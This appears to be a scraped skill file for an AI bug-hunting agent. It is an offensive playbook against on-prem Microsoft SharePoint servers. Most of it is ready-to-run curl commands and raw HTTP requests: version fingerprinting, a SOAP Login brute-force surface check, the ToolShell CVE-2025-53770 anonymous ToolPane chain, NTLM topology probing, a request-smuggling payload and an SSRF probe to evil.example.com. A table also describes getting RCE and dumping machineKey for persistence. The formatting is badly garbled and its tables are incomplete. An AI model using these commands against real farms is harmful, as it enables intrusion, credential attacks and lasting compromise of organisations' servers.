Loading...
Loading...
Hunt Microsoft SharePoint Server (2013/2016/2019/Subscription Edition) on-prem farms — anonymous endpoint enumeration, version disclosure, legacy SOAP login bypass (Authentication.asmx), ToolShell precondition chain (CVE-2025-53770), SafeControl reflection enumeration via Picker.aspx, NTLM Type-2 AD topology disclosure, custom-branding module discovery, EoL farm permanent-CVE-window exploitation, FormDigest anonymous issuance, file-extension blocklist NOT-an-oracle pattern, custom-zone Forms auth bridging on-prem AD. Use when target has SharePoint headers (SPRequestGuid, X-MS-InvokeApp, X-SharePointHealthScore, MicrosoftSharePointTeamServices) or paths (/_layouts/15/, /_vti_bin/, /_api/, /_catalogs/).
npx skill4agent add elementalsouls/claude-bughunter hunt-sharepoint15.0.5545.1000/_layouts/15/ToolPane.aspx?DisplayMode=Edit__REQUESTDIGEST/_vti_bin/Authentication.asmxLoginhunt-ntlm-infoSPRequestGuid: <GUID> (always — anonymous and authenticated)
X-MS-InvokeApp: 1; RequireReadOnly (SharePoint web request)
X-SharePointHealthScore: 0 (SharePoint specific)
SPIisLatency: <ms> (SharePoint internal timing)
SPRequestDuration: <ms> (SharePoint request duration)
MicrosoftSharePointTeamServices: 15.0.0.0 (often stripped by ELB — but if present, exact version)
X-Forms_Based_Auth_Required: <login URL> (Forms-auth zone indicator)
X-Forms_Based_Auth_Return_Url: <return URL> (Forms-auth zone indicator)
X-MSDAVEXT_Error: 917656; Access denied... (WebDAV extension active)
DAV: 1, 2 (WebDAV verbs supported)
Set-Cookie: ASP.NET_SessionId=... (always — IIS session)
Set-Cookie: FedAuth=...; rtFa=... (claims-mode auth)
Set-Cookie: WSS_FullScreenMode=... (SharePoint UI mode)/_layouts/15/ (SP2013+ layouts root — SP2010 used /_layouts/ without the 15)
/_layouts/14/ (legacy SP2010 — almost EoL since 2020-10-13)
/_layouts/16/ (some SP2019 / SPE)
/_vti_bin/ (FrontPage-RPC + SOAP services)
/_vti_pvt/ (FrontPage-RPC config — usually 403)
/_vti_inf.html (almost always anonymous; contains FPVersion banner)
/_api/ (modern REST API)
/_api/$metadata (OData metadata — often anonymous + large)
/_api/contextinfo (FormDigest issuer — POST only)
/_catalogs/ (site catalogs: masterpage, wp, lt, theme, solutions)
/_catalogs/users/simple.aspx (user list — usually 403)
/_layouts/15/start.aspx (anonymous landing — leaks version)
/_layouts/15/ToolPane.aspx (web part editor — ToolShell sink)
/_layouts/15/Picker.aspx (people/list picker — SafeControl recon)
/_layouts/15/download.aspx (SP-internal file resolver — NOT outbound SSRF)
/_layouts/15/Authenticate.aspx (forms-auth redirector)
/_layouts/15/SignOut.aspx (logout)
/_layouts/15/error.aspx (error page — anonymous)
/_layouts/15/AccessDenied.aspx (denied page — anonymous)
/_layouts/15/scriptresx.ashx?culture=en-us&name=core (resource bundle leak)
/_layouts/15/<Customer>/ (custom-branding modules — see Methodology step 8)
/_vti_bin/Authentication.asmx (THE legacy login bypass — see hunt-auth-bypass Legacy-Protocol Matrix)
/_vti_bin/SharedAccess.asmx (often anon-readable)
/_vti_bin/lists.asmx (auth-required on hardened farms)
/_vti_bin/sites.asmx (auth-required on hardened farms)
/_vti_bin/sts/ (Security Token Service — usually 302 to error)
/sites/<name>/ (site collections)
/personal/<user>/ (MySite / OneDrive-for-Business)<meta name="GENERATOR" content="Microsoft SharePoint" />
RegisterSod("...","/_layouts/15/..."); (Script-on-demand registration)
var g_initUrl=''; (start.aspx MDS state)
__REQUESTDIGEST (CSRF token — leaks even to anon if endpoint mis-configured)
__VIEWSTATEENCRYPTED="" (Sign-only ViewState — see hunt-aspnet)
"LibraryVersion":"15.0.X.XXXX" (in _api/contextinfo response)
Version:15, webPermMasks:{High:0,Low: (in start.aspx body)
HelpWindowKey('WSSEndUser_troubleshooting (anonymous error.aspx body)Server: Microsoft-IIS/10.0/_layouts/15/WWW-Authenticate: NTLM/_api/web/CurrentUserhunt-ntlm-info*.test.<customer>.tld# Method 1: _vti_inf.html (always anonymous, always present)
curl -sk "https://target.example/_vti_inf.html"
# → FPVersion="15.00.0.000" (15.x = SP2013, 16.x = SP2016/2019/SE)
# Method 2: _api/contextinfo POST (anonymous on most farms)
curl -sk -X POST "https://target.example/_api/contextinfo" \
-H "Accept: application/json;odata=verbose" \
| jq -r '.d.GetContextWebInformation.LibraryVersion'
# → "15.0.5545.1000" (full build number)
# Method 3: /_layouts/15/start.aspx body
curl -sk "https://target.example/_layouts/15/start.aspx" \
| grep -oE "15\.[0-9]+\.[0-9]+\.[0-9]+|16\.[0-9]+\.[0-9]+\.[0-9]+"| Build | Edition | Status | Notable unpatched-after-EoL CVEs |
|---|---|---|---|
| SP2013 final CU | EoL 2023-04-11 | CVE-2023-29357, CVE-2023-33160/33157/36941, CVE-2024-21318/30043/38023/38024/38094, CVE-2025-53770/53771, CVE-2025-29794 |
| SP2016 | EoL 2026-07-14 | depends on patch level |
| SP2019 / SE | active | check Microsoft's monthly Patch Tuesday |
/_vti_inf.html → version disclosure
/_layouts/15/start.aspx → version disclosure + session minting
/_layouts/15/blank.htm → benign anchor for smuggling probes
/_layouts/15/error.aspx → request-validator behaviour probe
/_layouts/15/Authenticate.aspx?Source= → redirect-chain behaviour
/_layouts/15/AccessDenied.aspx?Source= → redirect-chain behaviour
/_layouts/15/SignOut.aspx → logout — anonymous OK
/_layouts/15/closeConnection.aspx → anonymous OK
/_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res → 35KB localised strings
/_layouts/15/scriptresx.ashx?culture=en-us&name=core → 277KB localised strings
/_layouts/15/ToolPane.aspx?DisplayMode=Edit → ToolShell precondition (THIS IS THE BIG ONE)
/_layouts/15/Picker.aspx → SafeControl recon (see step 6)
/_layouts/15/<CustomerName>/pages/login/customlogin.aspx → custom Forms login (replace `<CustomerName>` with target's customer name)
/_vti_bin/Authentication.asmx → legacy SOAP login — anonymous brute-force (CRITICAL)
/_vti_bin/Authentication.asmx?WSDL → WSDL — confirms Login + Mode ops
/_vti_bin/SharedAccess.asmx → often anonymous
/_vti_bin/spsdisco.aspx → SP service discovery
/_api/contextinfo (POST) → anonymous FormDigest mint (HIGH)
/_api/$metadata → 381KB API surface enumeration
/_api/Search → search service descriptor
/_api/web/CurrentUser → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info)hunt-auth-bypass# First: confirm Mode = Forms (else this attack vector is N/A)
curl -sk -X POST "https://target.example/_vti_bin/Authentication.asmx" \
-H "Content-Type: text/xml; charset=utf-8" \
-H "SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode" \
-d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Mode xmlns="http://schemas.microsoft.com/sharepoint/soap/" /></soap:Body></soap:Envelope>'
# → <ModeResult>Forms</ModeResult> ← target is exploitable
# → <ModeResult>Windows</ModeResult> ← target uses Windows auth only; this vector N/A
# Then: confirm no rate limit / no lockout (synthetic non-existent users ONLY)
# Send 10 bursts at "burst-test-synthetic-zzz" with distinct wrong passwords
# If all 10 return 200 / 431 bytes / uniform timing → confirmed unlimited brute-force surface# Sub-step a: anonymous GET on ToolPane.aspx
curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
# Body should contain: __REQUESTDIGEST="0x...,..." AND __VIEWSTATEENCRYPTED=""
# If both: precondition stack is anonymous-reachable.
# Sub-step b: anonymous POST to /_api/contextinfo
curl -sk -X POST "https://target.example/_api/contextinfo" \
-H "Accept: application/json;odata=verbose" \
| jq -r '.d.GetContextWebInformation.FormDigestValue'
# Should return a valid digest with 1800s validity.
# Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest
curl -sk -X POST "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
-H "X-RequestDigest: <digest from step b>" \
--data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"
# Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.__VIEWSTATEENCRYPTED<machineKey>__VIEWSTATEhunt-ntlm-info# Use Burp send_http1_request with keep-alive, or Python raw socket
# Anonymous Type-1 with NetBIOS-info request flag:
# Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==
# Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer nameWIN-XXXXXXXXXXX"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site.""Could not load type '<Class>' from assembly 'Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c'."Microsoft.SharePoint.*.WebControls.*Microsoft.SharePoint.WebPartPages.*for cls in \
"Microsoft.SharePoint.WebControls.PeopleEditor" \
"Microsoft.SharePoint.WebControls.ItemPicker" \
"Microsoft.SharePoint.WebPartPages.DataFormWebPart" \
; do
curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$cls")&typeName=System.String" \
| grep -oE "<title>[^<]+</title>"
donedownload.aspx/_layouts/15/download.aspx?SourceUrl=http://evil.example.com/x"The Web application at <URL> could not be found""<nativehr>0x81070211</nativehr>...Cannot open file '<path>'".ashx.asmx.svc.config"file blocked from this Web site by the server administrators"file://gopher://"Value does not fall within the expected range"hunt-ssrf/_layouts/15/<CustomerName>//_layouts/15/<CustomerName>/pages/login/customlogin.aspx<CustomerName>for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do
curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \
"https://target.example/_layouts/15/CustomerName/$sub/"
# 301/302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid
doneReferer/_api/Search/_api/search/query?querytext='X'/_api/web/Lists/_api/web/SiteUsers/_api/web/getfolderbyserverrelativeurl('/Shared Documents')/Files/_layouts/15/people.aspx/_api/SP.WorkflowServices.*POST /_vti_bin/Authentication.asmx HTTP/1.1
Host: target.example
Content-Type: text/xml; charset=utf-8
SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Login
Content-Length: 376
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://schemas.microsoft.com/sharepoint/soap/">
<username>USERNAME</username>
<password>PASSWORD</password>
</Login>
</soap:Body>
</soap:Envelope><ErrorCode>NoError</ErrorCode><CookieName>FedAuth</CookieName><TimeoutSeconds>...</TimeoutSeconds><ErrorCode>PasswordNotMatch</ErrorCode><faultstring>Value cannot be null. Parameter name: userName</faultstring># Step 1: anon GET ToolPane.aspx
TP=$(curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit")
echo "$TP" | grep -oE '__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="[^"]*"'
# If value="" → precondition
# Step 2: anon FormDigest
DIGEST=$(curl -sk -X POST "https://target.example/_api/contextinfo" \
-H "Accept: application/json;odata=verbose" \
| jq -r '.d.GetContextWebInformation.FormDigestValue')
echo "Digest: ${DIGEST:0:40}..."
# Step 3: anon POST ToolPane with digest
curl -sk -X POST -H "X-RequestDigest: $DIGEST" \
--data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none" \
"https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
-w "\ncode=%{http_code} size=%{size_download}\n"POST /_layouts/15/blank.htm HTTP/1.1
Host: target.example
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST /404 HTTP/1.1
Host: x
Content-Length: 15
x=1
0
Transfer-Encoding : chunkedtransfer-encoding: chunkedcurl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.SharePoint.WebPartPages.DataFormWebPart&typeName=System.String" \
| grep -oE "<title>[^<]+</title>"
# "Only PickerDialog types..." = exists, not whitelisted
# "Could not load type..." = does not exist/_vti_bin/Authentication.asmxviewStateEncryption="Auto"__VIEWSTATEENCRYPTED=""/_api/contextinfo<SafeControl>instanceof PickerDialogTransfer-EncodingContent-LengthWIN-XXXXXXXXXXX/_layouts/15/<Customer>/?v=YYYYMMDD| Defense | Bypass / Recon Strategy |
|---|---|
Branded | |
| Default IIS |
| Body of |
| Different services have different ACLs; enumerate all asmx separately |
| Stack traces leak even on auth-deny responses; combine with version disclosure |
Anonymous | Pair with anonymous ToolPane POST + unencrypted ViewState; the deserialization sink yields RCE without machineKey — machineKey is then dumped by the shell for persistent re-exploitation |
| Custom error pages set | Trigger different code paths (XML-shaped ViewState → dual-parser error differential — see |
WAF blocks | Move payload to Cookie / Referer / SOAP body — request validator doesn't reach those contexts |
| Enumerate SafeControl list; find a subclass that bypasses the inheritance gate |
| HTTP/2 H2.CL smuggling | AWS ALBs often don't advertise |
Authenticate.aspx wraps | Test post-auth behavior with valid creds; pre-auth chain wraps everything safely |
download.aspxhttps://target-portal.example/15.0.5545.1000customer.parent-corp.exampleWIN-XXXXXXXXXXX/_api/contextinfo__VIEWSTATEENCRYPTED=""customer.parent-corp.exampleWIN-XXXXXXXXXXX/_layouts/15/download.aspx?SourceUrl=download.aspx?SourceUrl=http://oob.example.com/"The Web application at http://oob.example.com/ could not be found"download.aspxSPWebApplicationSPFilehunt-ssrfMicrosoft.SharePoint.WebPartPages.DataFormWebPart"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site."instanceof PickerDialoghunt-auth-bypasshunt-ntlm-infohunt-aspnethunt-http-smugglinghunt-ssrfbb-methodologyhunt-auth-bypass/_vti_bin/Authentication.asmxhunt-auth-bypass/_layouts/15/hunt-ntlm-infoWWW-Authenticate: NTLM/_vti_bin/hunt-ntlm-infom365-entra-attackhunt-aspnethunt-aspnetw3wp.exehunt-rce/_layouts/15/ToolPane.aspx?DisplayMode=EditRefererhunt-rcem365-entra-attacktriage-validation